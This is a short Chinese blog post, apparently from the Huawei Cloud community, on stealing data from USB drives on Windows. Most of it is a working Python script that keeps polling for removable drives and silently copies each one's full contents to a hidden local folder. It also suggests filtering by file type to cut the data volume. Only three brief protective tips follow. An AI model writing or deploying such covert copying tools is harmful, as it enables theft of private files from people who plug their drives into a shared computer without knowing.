Windows窃取U盘数据及防护措施
【摘要】 本程序会监视USB移动存储设备(如:U盘,MP3等)的插入,并按用户设置在后台复制文件.为方便使用将会使用时间命名的文件夹.
#!usr/bin/env python3 #!_*_ conding:utf-8 _*_ #!@Author:大秋神 #!@Time:2019-07-30 下午 12:02 import os,shutil,datetime,psutil,time s_path = r"E:\大秋神" while True: #遍历磁盘 for i in psutil.disk_partitions(): if "removable" in i[3]: #i[3] 判断是否是移动盘 # U盘 u_path =i[0] #i[0] 是代表盘符 # #存的位置 if os.path.exists(u_path): #判断路径是否存在 print("正在复制U盘%s" % i[0]) shutil.copytree(u_path,os.path.join(s_path,datetime.datetime.now().strftime("%Y%m%d_%H%M%S"))) print("U盘%s复制结束"% i[0]) else: print("没有检测到U盘") time.sleep(5) #每5秒等待
_path : 自己修改,其他的可以不修改
通过psutil模块获取可移动设备,遍历出可以移动设备的盘符,然后进行判断路径,然后使用shutil模块进行数据拷贝。
为了保证随时监测U盘存在,使用while一直监听。
PS:因为数据量太大,可以在修改源代码,获取指定后缀名的数据,方便快捷
防护措施:
1.不随便将U盘等插入公用电脑
2.打印、传输文件单独放
3.文件进行加密
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)